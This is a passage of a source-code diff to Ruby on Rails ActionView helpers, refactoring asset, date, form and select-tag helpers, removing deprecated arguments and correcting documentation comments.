+ # image_alt('hyphenated-file-name.png')
+ # # => Hyphenated file name
#
- # image_tag('underscored_file_name.png')
- # # => <img alt="Underscored file name" src="/assets/underscored_file_name.png" />
+ # image_alt('underscored_file_name.png')
+ # # => Underscored file name
def image_alt(src)
File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').tr('-_', ' ').capitalize
end
@@ -245,9 +251,9 @@ module ActionView
#
# * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
# before the video loads. The path is calculated like the +src+ of +image_tag+.
- # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
- # width="30" and height="45". <tt>:size</tt> will be ignored if the
- # value is not in the correct format.
+ # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
+ # width="30" and height="45", and "50" becomes width="50" and height="50".
+ # <tt>:size</tt> will be ignored if the value is not in the correct format.
#
# ==== Examples
#
@@ -261,6 +267,8 @@ module ActionView
# # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
# video_tag("/trailers/hd.avi", size: "16x16")
# # => <video src="/trailers/hd.avi" width="16" height="16" />
+ # video_tag("/trailers/hd.avi", size: "16")
+ # # => <video height="16" src="/trailers/hd.avi" width="16" />
# video_tag("/trailers/hd.avi", height: '32', width: '32')
# # => <video height="32" src="/trailers/hd.avi" width="32" />
# video_tag("trailer.ogg", "trailer.flv")
@@ -272,10 +280,7 @@ module ActionView
def video_tag(*sources)
multiple_sources_tag('video', sources) do |options|
options[:poster] = path_to_image(options[:poster]) if options[:poster]
-
- if size = options.delete(:size)
- options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
- end
+ options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
end
end
@@ -311,6 +316,14 @@ module ActionView
content_tag(type, nil, options)
end
end
+
+ def extract_dimensions(size)
+ if size =~ %r{\A\d+x\d+\z}
+ size.split('x')
+ elsif size =~ %r{\A\d+\z}
+ [size, size]
+ end
+ end
end
end
end
diff --git a/actionview/lib/action_view/helpers/asset_url_helper.rb b/actionview/lib/action_view/helpers/asset_url_helper.rb
index 0b957adb91..41997a85b3 100644
--- a/actionview/lib/action_view/helpers/asset_url_helper.rb
+++ b/actionview/lib/action_view/helpers/asset_url_helper.rb
@@ -134,18 +134,18 @@ module ActionView
relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
if relative_url_root
- source = "#{relative_url_root}#{source}" unless source.starts_with?("#{relative_url_root}/")
+ source = File.join(relative_url_root, source) unless source.starts_with?("#{relative_url_root}/")
end
if host = compute_asset_host(source, options)
- source = "#{host}#{source}"
+ source = File.join(host, source)
end
"#{source}#{tail}"
end
- alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with a asset_path named route
+ alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with an asset_path named route
- # Computes the full URL to a asset in the public directory. This
+ # Computes the full URL to an asset in the public directory. This
# will use +asset_path+ internally, so most of their behaviors
# will be the same.
def asset_url(source, options = {})
diff --git a/actionview/lib/action_view/helpers/atom_feed_helper.rb b/actionview/lib/action_view/helpers/atom_feed_helper.rb
index 42b1dd8933..227ad4cdfa 100644
--- a/actionview/lib/action_view/helpers/atom_feed_helper.rb
+++ b/actionview/lib/action_view/helpers/atom_feed_helper.rb
@@ -10,7 +10,7 @@ module ActionView
# Full usage example:
#
# config/routes.rb:
- # Basecamp::Application.routes.draw do
+ # Rails.application.routes.draw do
# resources :posts
# root to: "posts#index"
# end
@@ -64,7 +64,7 @@ module ActionView
# 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
# feed.title("My great blog!")
# feed.updated((@posts.first.created_at))
- # feed.tag!(openSearch:totalResults, 10)
+ # feed.tag!('openSearch:totalResults', 10)
#
# @posts.each do |post|
# feed.entry(post) do |entry|
diff --git a/actionview/lib/action_view/helpers/cache_helper.rb b/actionview/lib/action_view/helpers/cache_helper.rb
index 2a38e5c446..4db8930a26 100644
--- a/actionview/lib/action_view/helpers/cache_helper.rb
+++ b/actionview/lib/action_view/helpers/cache_helper.rb
@@ -4,14 +4,14 @@ module ActionView
module CacheHelper
# This helper exposes a method for caching fragments of a view
# rather than an entire action or page. This technique is useful
- # caching pieces like menus, lists of newstopics, static HTML
+ # caching pieces like menus, lists of new topics, static HTML
# fragments, and so on. This method takes a block that contains
# the content you wish to cache.
#
# The best way to use this is by doing key-based cache expiration
# on top of a cache store like Memcached that'll automatically
# kick out old entries. For more on key-based expiration, see:
- # http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works
+ # http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works
#
# When using this method, you list the cache dependency as the name of the cache, like so:
#
@@ -165,10 +165,10 @@ module ActionView
def fragment_name_with_digest(name) #:nodoc:
if @virtual_path
- [
- *Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name),
- Digestor.digest(@virtual_path, formats.last.to_sym, lookup_context, dependencies: view_cache_dependencies)
- ]
+ names = Array(name.is_a?(Hash) ? controller.url_for(name).split("://").last : name)
+ digest = Digestor.digest name: @virtual_path, finder: lookup_context, dependencies: view_cache_dependencies
+
+ [ *names, digest ]
else
name
end
diff --git a/actionview/lib/action_view/helpers/csrf_helper.rb b/actionview/lib/action_view/helpers/csrf_helper.rb
index eeb0ed94b9..5af92c4ff2 100644
--- a/actionview/lib/action_view/helpers/csrf_helper.rb
+++ b/actionview/lib/action_view/helpers/csrf_helper.rb
@@ -12,8 +12,11 @@ module ActionView
# These are used to generate the dynamic forms that implement non-remote links with
# <tt>:method</tt>.
#
- # Note that regular forms generate hidden fields, and that Ajax calls are whitelisted,
- # so they do not use these tags.
+ # You don't need to use these tags for regular forms as they generate their own hidden fields.
+ #
+ # For AJAX requests other than GETs, extract the "csrf-token" from the meta-tag and send as the
+ # "X-CSRF-Token" HTTP header. If you are using jQuery with jquery-rails this happens automatically.
+ #
def csrf_meta_tags
if protect_against_forgery?
[
diff --git a/actionview/lib/action_view/helpers/date_helper.rb b/actionview/lib/action_view/helpers/date_helper.rb
index 8fb5eb1548..2efb9612ac 100644
--- a/actionview/lib/action_view/helpers/date_helper.rb
+++ b/actionview/lib/action_view/helpers/date_helper.rb
@@ -19,6 +19,10 @@ module ActionView
# the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead
# of \date[month].
module DateHelper
+ MINUTES_IN_YEAR = 525600
+ MINUTES_IN_QUARTER_YEAR = 131400
+ MINUTES_IN_THREE_QUARTERS_YEAR = 394200
+
# Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds.
# Pass <tt>include_seconds: true</tt> if you want more detailed approximations when distance < 1 min, 29 secs.
# Distances are reported based on the following table:
@@ -50,29 +54,21 @@ module ActionView
# distance_of_time_in_words(from_time, from_time + 50.minutes) # => about 1 hour
# distance_of_time_in_words(from_time, 50.minutes.from_now) # => about 1 hour
# distance_of_time_in_words(from_time, from_time + 15.seconds) # => less than a minute
- # distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true) # => less than 20 seconds
+ # distance_of_time_in_words(from_time, from_time + 15.seconds, include_seconds: true) # => less than 20 seconds
# distance_of_time_in_words(from_time, 3.years.from_now) # => about 3 years
# distance_of_time_in_words(from_time, from_time + 60.hours) # => 3 days
- # distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true) # => less than a minute
- # distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true) # => less than a minute
+ # distance_of_time_in_words(from_time, from_time + 45.seconds, include_seconds: true) # => less than a minute
+ # distance_of_time_in_words(from_time, from_time - 45.seconds, include_seconds: true) # => less than a minute
# distance_of_time_in_words(from_time, 76.seconds.from_now) # => 1 minute
# distance_of_time_in_words(from_time, from_time + 1.year + 3.days) # => about 1 year
# distance_of_time_in_words(from_time, from_time + 3.years + 6.months) # => over 3 years
# distance_of_time_in_words(from_time, from_time + 4.years + 9.days + 30.minutes + 5.seconds) # => about 4 years
#
# to_time = Time.now + 6.years + 19.days
- # distance_of_time_in_words(from_time, to_time, include_seconds: true) # => about 6 years
- # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
+ # distance_of_time_in_words(from_time, to_time, include_seconds: true) # => about 6 years
+ # distance_of_time_in_words(to_time, from_time, include_seconds: true) # => about 6 years
# distance_of_time_in_words(Time.now, Time.now) # => less than a minute
- def distance_of_time_in_words(from_time, to_time = 0, include_seconds_or_options = {}, options = {})
- if include_seconds_or_options.is_a?(Hash)
- options = include_seconds_or_options
- else
- ActiveSupport::Deprecation.warn "distance_of_time_in_words and time_ago_in_words now accept :include_seconds " +
- "as a part of options hash, not a boolean argument"
- options[:include_seconds] ||= !!include_seconds_or_options
- end
-
+ def distance_of_time_in_words(from_time, to_time = 0, options = {})
options = {
scope: :'datetime.distance_in_words'
}.merge!(options)
@@ -123,16 +119,16 @@ module ActionView
# e.g. if there are 20 leap year days between 2 dates having the same day
# and month then the based on 365 days calculation
# the distance in years will come out to over 80 years when in written
- # english it would read better as about 80 years.
+ # English it would read better as about 80 years.
minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
else
minutes_with_offset = distance_in_minutes
end
- remainder = (minutes_with_offset % 525600)
- distance_in_years = (minutes_with_offset.div 525600)
- if remainder < 131400
+ remainder = (minutes_with_offset % MINUTES_IN_YEAR)
+ distance_in_years = (minutes_with_offset.div MINUTES_IN_YEAR)
+ if remainder < MINUTES_IN_QUARTER_YEAR
locale.t(:about_x_years, :count => distance_in_years)
- elsif remainder < 394200
+ elsif remainder < MINUTES_IN_THREE_QUARTERS_YEAR
locale.t(:over_x_years, :count => distance_in_years)
else
locale.t(:almost_x_years, :count => distance_in_years + 1)
@@ -177,9 +173,16 @@ module ActionView
# "2 - February" instead of "February").
# * <tt>:use_month_names</tt> - Set to an array with 12 month names if you want to customize month names.
# Note: You can also use Rails' i18n functionality for this.
+ # * <tt>:month_format_string</tt> - Set to a format string. The string gets passed keys +:number+ (integer)
+ # and +:name+ (string). A format string would be something like "%{name} (%<number>02d)" for example.
+ # See <tt>Kernel.sprintf</tt> for documentation on format sequences.
# * <tt>:date_separator</tt> - Specifies a string to separate the date fields. Default is "" (i.e. nothing).
- # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Time.now.year - 5</tt>.
- # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Time.now.year + 5</tt>.
+ # * <tt>:start_year</tt> - Set the start year for the year select. Default is <tt>Date.today.year - 5</tt>if
+ # you are creating new record. While editing existing record, <tt>:start_year</tt> defaults to
+ # the current selected year minus 5.
+ # * <tt>:end_year</tt> - Set the end year for the year select. Default is <tt>Date.today.year + 5</tt> if
+ # you are creating new record. While editing existing record, <tt>:end_year</tt> defaults to
+ # the current selected year plus 5.
# * <tt>:discard_day</tt> - Set to true if you don't want to show a day select. This includes the day
# as a hidden field instead of showing a select field. Also note that this implicitly sets the day to be the
# first of the given month in order to not create invalid dates like 31 February.
@@ -539,7 +542,7 @@ module ActionView
# my_date = Time.now + 2.days
#
# # Generates a select field for days that defaults to the day for the date in my_date.
- # select_day(my_time)
+ # select_day(my_date)
#
# # Generates a select field for days that defaults to the number given.
# select_day(5)
@@ -549,7 +552,7 @@ module ActionView
#
# # Generates a select field for days that defaults to the day for the date in my_date
# # that is named 'due' rather than 'day'.
- # select_day(my_time, field_name: 'due')
+ # select_day(my_date, field_name: 'due')
#
# # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
# # generic prompt.
@@ -854,24 +857,36 @@ module ActionView
I18n.translate(key, :locale => @options[:locale])
end
- # Lookup month name for number.
- # month_name(1) => "January"
+ # Looks up month names by number (1-based):
+ #
+ # month_name(1) # => "January"
+ #
+ # If the <tt>:use_month_numbers</tt> option is passed:
+ #
+ # month_name(1) # => 1
+ #
+ # If the <tt>:use_two_month_numbers</tt> option is passed:
+ #
+ # month_name(1) # => '01'
+ #
+ # If the <tt>:add_month_numbers</tt> option is passed:
+ #
+ # month_name(1) # => "1 - January"
#
- # If <tt>:use_month_numbers</tt> option is passed
- # month_name(1) => 1
+ # If the <tt>:month_format_string</tt> option is passed:
#
- # If <tt>:use_two_month_numbers</tt> option is passed
- # month_name(1) => '01'
+ # month_name(1) # => "January (01)"
#
- # If <tt>:add_month_numbers</tt> option is passed
- # month_name(1) => "1 - January"
+ # depending on the format string.
def month_name(number)
if @options[:use_month_numbers]
number
elsif @options[:use_two_digit_numbers]
- sprintf "%02d", number
+ '%02d' % number
elsif @options[:add_month_numbers]
"#{number} - #{month_names[number]}"
+ elsif format_string = @options[:month_format_string]
+ format_string % {number: number, name: month_names[number]}
else
month_names[number]
end
@@ -950,7 +965,7 @@ module ActionView
:name => input_name_from_type(type)
}.merge!(@html_options)
select_options[:disabled] = 'disabled' if @options[:disabled]
- select_options[:class] = type if @options[:with_css_classes]
+ select_options[:class] = [select_options[:class], type].compact.join(' ') if @options[:with_css_classes]
select_html = "\n"
select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
@@ -1070,7 +1085,7 @@ module ActionView
# Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
#
# <%= form_for @person do |f| %>
- # <%= f.time_select :last_request_at %>
+ # <%= f.datetime_select :last_request_at %>
# <%= f.submit %>
# <% end %>
#
diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb
index f64c0ca30b..22bfd87d85 100644
--- a/actionview/lib/action_view/helpers/form_helper.rb
+++ b/actionview/lib/action_view/helpers/form_helper.rb
@@ -3,9 +3,8 @@ require 'action_view/helpers/date_helper'
require 'action_view/helpers/tag_helper'
require 'action_view/helpers/form_tag_helper'
require 'action_view/helpers/active_model_helper'
-require 'action_view/helpers/tags'
require 'action_view/model_naming'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/hash/slice'
require 'active_support/core_ext/string/output_safety'
require 'active_support/core_ext/string/inflections'
@@ -52,7 +51,7 @@ module ActionView
# The HTML generated for this would be (modulus formatting):
#
# <form action="/people" class="new_person" id="new_person" method="post">
- # <div style="margin:0;padding:0;display:inline">
+ # <div style="display:none">
# <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
# </div>
# <label for="person_first_name">First name</label>:
@@ -82,7 +81,7 @@ module ActionView
# the code above as is would yield instead:
#
# <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
- # <div style="margin:0;padding:0;display:inline">
+ # <div style="display:none">
# <input name="_method" type="hidden" value="patch" />
# <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
# </div>
@@ -316,7 +315,7 @@ module ActionView
# The HTML generated for this would be:
#
# <form action='http://www.example.com' method='post' data-remote='true'>
- # <div style='margin:0;padding:0;display:inline'>
+ # <div style='display:none'>
# <input name='_method' type='hidden' value='patch' />
# </div>
# ...
@@ -334,7 +333,7 @@ module ActionView
# The HTML generated for this would be:
#
# <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
- # <div style='margin:0;padding:0;display:inline'>
+ # <div style='display:none'>
# <input name='_method' type='hidden' value='patch' />
# </div>
# ...
@@ -442,10 +441,11 @@ module ActionView
object = convert_to_model(object)
as = options[:as]
+ namespace = options[:namespace]
action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
options[:html].reverse_merge!(
class: as ? "#{action}_#{as}" : dom_class(object, action),
- id: as ? "#{action}_#{as}" : [options[:namespace], dom_id(object, action)].compact.join("_").presence,
+ id: (as ? [namespace, action, as] : [namespace, dom_id(object, action)]).compact.join("_").presence,
method: method
)
@@ -457,7 +457,7 @@ module ActionView
# doesn't create the form tags themselves. This makes fields_for suitable
# for specifying additional model objects in the same form.
#
- # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+ # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
# its method signature is slightly different. Like +form_for+, it yields
# a FormBuilder object associated with a particular model object to a block,
# and within the block allows methods to be called on the builder to
@@ -746,6 +746,7 @@ module ActionView
# label(:post, :terms) do
# 'Accept <a href="/terms">Terms</a>.'.html_safe
# end
+ # # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label>
def label(object_name, method, content_or_options = nil, options = nil, &block)
Tags::Label.new(object_name, method, self, content_or_options, options).render(&block)
end
@@ -762,8 +763,8 @@ module ActionView
# text_field(:post, :title, class: "create_input")
# # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" class="create_input" />
#
- # text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }")
- # # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login can not be admin!'); }"/>
+ # text_field(:session, :user, onchange: "if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }")
+ # # => <input type="text" id="session_user" name="session[user]" value="#{@session.user}" onchange="if ($('#session_user').val() === 'admin') { alert('Your login cannot be admin!'); }"/>
#
# text_field(:snippet, :code, size: 20, class: 'code_input')
# # => <input type="text" id="snippet_code" name="snippet[code]" size="20" value="#{@snippet.code}" class="code_input" />
@@ -1172,7 +1173,7 @@ module ActionView
# methods in the +FormHelper+ module. This class, however, allows you to
# call methods with the model object you are building the form for.
#
- # You can create your own custom FormBuilder templates by subclasses this
+ # You can create your own custom FormBuilder templates by subclassing this
# class. For example:
#
# class MyFormBuilder < ActionView::Helpers::FormBuilder
@@ -1237,11 +1238,7 @@ module ActionView
self
end
- def initialize(object_name, object, template, options, block=nil)
- if block
- ActiveSupport::Deprecation.warn "Giving a block to FormBuilder is deprecated and has no effect anymore."
- end
-
+ def initialize(object_name, object, template, options)
@nested_child_index = {}
@object_name, @object, @template, @options = object_name, object, template, options
@default_options = @options ? @options.slice(:index, :namespace) : {}
@@ -1272,7 +1269,7 @@ module ActionView
# doesn't create the form tags themselves. This makes fields_for suitable
# for specifying additional model objects in the same form.
#
- # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
+ # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
# its method signature is slightly different. Like +form_for+, it yields
# a FormBuilder object associated with a particular model object to a block,
# and within the block allows methods to be called on the builder to
diff --git a/actionview/lib/action_view/helpers/form_options_helper.rb b/actionview/lib/action_view/helpers/form_options_helper.rb
index 4e9ef94ff3..48f42947db 100644
--- a/actionview/lib/action_view/helpers/form_options_helper.rb
+++ b/actionview/lib/action_view/helpers/form_options_helper.rb
@@ -97,14 +97,17 @@ module ActionView
# Create a select tag and a series of contained option tags for the provided object and method.
# The option currently held by the object will be selected, provided that the object is available.
#
- # There are two possible formats for the choices parameter, corresponding to other helpers' output:
- # * A flat collection: see options_for_select
- # * A nested collection: see grouped_options_for_select
+ # There are two possible formats for the +choices+ parameter, corresponding to other helpers' output:
+ #
+ # * A flat collection (see +options_for_select+).
+ #
+ # * A nested collection (see +grouped_options_for_select+).
+ #
+ # For example:
#
- # Example with @post.person_id => 1:
# select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true })
#
- # could become:
+ # would become:
#
# <select name="post[person_id]">
# <option value=""></option>
@@ -113,6 +116,8 @@ module ActionView
# <option value="3">Tobias</option>
# </select>
#
+ # assuming the associated person has ID 1.
+ #
# This can be used to provide a default set of options in the standard way: before rendering the create form, a
# new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
# to the database. Instead, a second model object is created when the create request is received.
@@ -123,6 +128,15 @@ module ActionView
# or <tt>selected: nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
# tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
#
+ # A block can be passed to +select+ to customize how the options tags will be rendered. This
+ # is useful when the options tag has complex attributes.
+ #
+ # select(report, "campaign_ids") do
+ # available_campaigns.each do |c|
+ # content_tag(:option, c.name, value: c.id, data: { tags: c.tags.to_json })
+ # end
+ # end
+ #
# ==== Gotcha
#
# The HTML specification says when +multiple+ parameter passed to select and all options got deselected
@@ -147,8 +161,8 @@ module ActionView
# In case if you don't want the helper to generate this hidden field you can specify
# <tt>include_hidden: false</tt> option.
#
- def select(object, method, choices, options = {}, html_options = {})
- Tags::Select.new(object, method, self, choices, options, html_options).render
+ def select(object, method, choices = nil, options = {}, html_options = {}, &block)
+ Tags::Select.new(object, method, self, choices, options, html_options, &block).render
end
# Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
@@ -246,7 +260,7 @@ module ActionView
Tags::GroupedCollectionSelect.new(object, method, self, collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options).render
end
- # Return select and option tags for the given object and method, using
+ # Returns select and option tags for the given object and method, using
# #time_zone_options_for_select to generate the list of option tags.
#
# In addition to the <tt>:include_blank</tt> option documented above,
@@ -346,8 +360,8 @@ module ActionView
html_attributes = option_html_attributes(element)
text, value = option_text_and_value(element).map { |item| item.to_s }
- html_attributes[:selected] = 'selected' if option_value_selected?(value, selected)
- html_attributes[:disabled] = 'disabled' if disabled && option_value_selected?(value, disabled)
+ html_attributes[:selected] ||= option_value_selected?(value, selected)
+ html_attributes[:disabled] ||= disabled && option_value_selected?(value, disabled)
html_attributes[:value] = value
content_tag_string(:option, text, html_attributes)
@@ -384,8 +398,8 @@ module ActionView
end
selected, disabled = extract_selected_and_disabled(selected)
select_deselect = {
- :selected => extract_values_from_collection(collection, value_method, selected),
- :disabled => extract_values_from_collection(collection, value_method, disabled)
+ selected: extract_values_from_collection(collection, value_method, selected),
+ disabled: extract_values_from_collection(collection, value_method, disabled)
}
options_for_select(options, select_deselect)
@@ -444,7 +458,7 @@ module ActionView
option_tags = options_from_collection_for_select(
group.send(group_method), option_key_method, option_value_method, selected_key)
- content_tag(:optgroup, option_tags, :label => group.send(group_label_method))
+ content_tag(:optgroup, option_tags, label: group.send(group_label_method))
end.join.html_safe
end
@@ -516,16 +530,20 @@ module ActionView
body = "".html_safe
if prompt
- body.safe_concat content_tag(:option, prompt_text(prompt), :value => "")
+ body.safe_concat content_tag(:option, prompt_text(prompt), value: "")
end
grouped_options.each do |container|
+ html_attributes = option_html_attributes(container)
+
if divider
label = divider
else
label, container = container
end
- body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), :label => label)
+
+ html_attributes = { label: label }.merge!(html_attributes)
+ body.safe_concat content_tag(:optgroup, options_for_select(container, selected_key), html_attributes)
end
body
@@ -561,7 +579,7 @@ module ActionView
end
zone_options.safe_concat options_for_select(convert_zones[priority_zones], selected)
- zone_options.safe_concat content_tag(:option, '-------------', :value => '', :disabled => 'disabled')
+ zone_options.safe_concat content_tag(:option, '-------------', value: '', disabled: true)
zone_options.safe_concat "\n"
zones = zones - priority_zones
@@ -744,7 +762,7 @@ module ActionView
end
def prompt_text(prompt)
- prompt.kind_of?(String) ? prompt : I18n.translate('helpers.select.prompt', :default => 'Please select')
+ prompt.kind_of?(String) ? prompt : I18n.translate('helpers.select.prompt', default: 'Please select')
end
end
@@ -752,13 +770,13 @@ module ActionView
# Wraps ActionView::Helpers::FormOptionsHelper#select for form builders:
#
# <%= form_for @post do |f| %>
- # <%= f.select :person_id, Person.all.collect {|p| [ p.name, p.id ] }, { include_blank: true }) %>
+ # <%= f.select :person_id, Person.all.collect { |p| [ p.name, p.id ] }, include_blank: true %>
# <%= f.submit %>
# <% end %>
#
# Please refer to the documentation of the base helper for details.
- def select(method, choices, options = {}, html_options = {})
- @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options))
+ def select(method, choices = nil, options = {}, html_options = {}, &block)
+ @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options), &block)
end
# Wraps ActionView::Helpers::FormOptionsHelper#collection_select for form builders:
diff --git a/actionview/lib/action_view/helpers/form_tag_helper.rb b/actionview/lib/action_view/helpers/form_tag_helper.rb
index 3fa7696b83..10dcb5c28c 100644
--- a/actionview/lib/action_view/helpers/form_tag_helper.rb
+++ b/actionview/lib/action_view/helpers/form_tag_helper.rb
@@ -38,6 +38,7 @@ module ActionView
# * A list of parameters to feed to the URL the form will be posted to.
# * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
# submit behavior. By default this behavior is an ajax submit.
+ # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name utf8 is not output.
#
# ==== Examples
# form_tag('/posts')
@@ -82,13 +83,17 @@ module ActionView
# * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
# * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
# * <tt>:include_blank</tt> - If set to true, an empty option will be created.
- # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something
+ # * <tt>:prompt</tt> - Create a prompt option with blank value and the text asking user to select something.
+ # * <tt>:selected</tt> - Provide a default selected value. It should be of the exact type as the provided options.
# * Any other key creates standard HTML attributes for the tag.
#
# ==== Examples
# select_tag "people", options_from_collection_for_select(@people, "id", "name")
# # <select id="people" name="people"><option value="1">David</option></select>
#
+ # select_tag "people", options_from_collection_for_select(@people, "id", "name"), selected: ["1", "David"]
+ # # <select id="people" name="people"><option value="1" selected="selected">David</option></select>
+ #
# select_tag "people", "<option>David</option>".html_safe
# # => <select id="people" name="people"><option>David</option></select>
#
@@ -464,17 +469,23 @@ module ActionView
# # <strong>Ask me!</strong>
# # </button>
#
- # button_tag "Checkout", data: { disable_with => "Please wait..." }
+ # button_tag "Checkout", data: { disable_with: "Please wait..." }
# # => <button data-disable-with="Please wait..." name="button" type="submit">Checkout</button>
#
def button_tag(content_or_options = nil, options = nil, &block)
- options = content_or_options if block_given? && content_or_options.is_a?(Hash)
- options ||= {}
- options = options.stringify_keys
+ if content_or_options.is_a? Hash
+ options = content_or_options
+ else
+ options ||= {}
+ end
- options.reverse_merge! 'name' => 'button', 'type' => 'submit'
+ options = { 'name' => 'button', 'type' => 'submit' }.merge!(options.stringify_keys)
- content_tag :button, content_or_options || 'Button', options, &block
+ if block_given?
+ content_tag :button, options, &block
+ else
+ content_tag :button, content_or_options || 'Button', options
+ end
end
# Displays an image which when clicked will submit the form.
@@ -543,6 +554,19 @@ module ActionView
#
# ==== Options
# * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # color_field_tag 'name'
+ # # => <input id="name" name="name" type="color" />
+ #
+ # color_field_tag 'color', '#DEF726'
+ # # => <input id="color" name="color" type="color" value="#DEF726" />
+ #
+ # color_field_tag 'color', nil, class: 'special_input'
+ # # => <input class="special_input" id="color" name="color" type="color" />
+ #
+ # color_field_tag 'color', '#DEF726', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="color" name="color" type="color" value="#DEF726" />
def color_field_tag(name, value = nil, options = {})
text_field_tag(name, value, options.stringify_keys.update("type" => "color"))
end
@@ -551,6 +575,19 @@ module ActionView
#
# ==== Options
# * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # search_field_tag 'name'
+ # # => <input id="name" name="name" type="search" />
+ #
+ # search_field_tag 'search', 'Enter your search query here'
+ # # => <input id="search" name="search" type="search" value="Enter your search query here" />
+ #
+ # search_field_tag 'search', nil, class: 'special_input'
+ # # => <input class="special_input" id="search" name="search" type="search" />
+ #
+ # search_field_tag 'search', 'Enter your search query here', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="search" name="search" type="search" value="Enter your search query here" />
def search_field_tag(name, value = nil, options = {})
text_field_tag(name, value, options.stringify_keys.update("type" => "search"))
end
@@ -559,6 +596,19 @@ module ActionView
#
# ==== Options
# * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # telephone_field_tag 'name'
+ # # => <input id="name" name="name" type="tel" />
+ #
+ # telephone_field_tag 'tel', '0123456789'
+ # # => <input id="tel" name="tel" type="tel" value="0123456789" />
+ #
+ # telephone_field_tag 'tel', nil, class: 'special_input'
+ # # => <input class="special_input" id="tel" name="tel" type="tel" />
+ #
+ # telephone_field_tag 'tel', '0123456789', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="tel" name="tel" type="tel" value="0123456789" />
def telephone_field_tag(name, value = nil, options = {})
text_field_tag(name, value, options.stringify_keys.update("type" => "tel"))
end
@@ -568,6 +618,19 @@ module ActionView
#
# ==== Options
# * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # date_field_tag 'name'
+ # # => <input id="name" name="name" type="date" />
+ #
+ # date_field_tag 'date', '01/01/2014'
+ # # => <input id="date" name="date" type="date" value="01/01/2014" />
+ #
+ # date_field_tag 'date', nil, class: 'special_input'
+ # # => <input class="special_input" id="date" name="date" type="date" />
+ #
+ # date_field_tag 'date', '01/01/2014', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="date" name="date" type="date" value="01/01/2014" />
def date_field_tag(name, value = nil, options = {})
text_field_tag(name, value, options.stringify_keys.update("type" => "date"))
end
@@ -631,6 +694,19 @@ module ActionView
#
# ==== Options
# * Accepts the same options as text_field_tag.
+ #
+ # ==== Examples
+ # url_field_tag 'name'
+ # # => <input id="name" name="name" type="url" />
+ #
+ # url_field_tag 'url', 'http://rubyonrails.org'
+ # # => <input id="url" name="url" type="url" value="http://rubyonrails.org" />
+ #
+ # url_field_tag 'url', nil, class: 'special_input'
+ # # => <input class="special_input" id="url" name="url" type="url" />
+ #
+ # url_field_tag 'url', 'http://rubyonrails.org', class: 'special_input', disabled: true
+ # # => <input disabled="disabled" class="special_input" id="url" name="url" type="url" value="http://rubyonrails.org" />
def url_field_tag(name, value = nil, options = {})
text_field_tag(name, value, options.stringify_keys.update("type" => "url"))
end
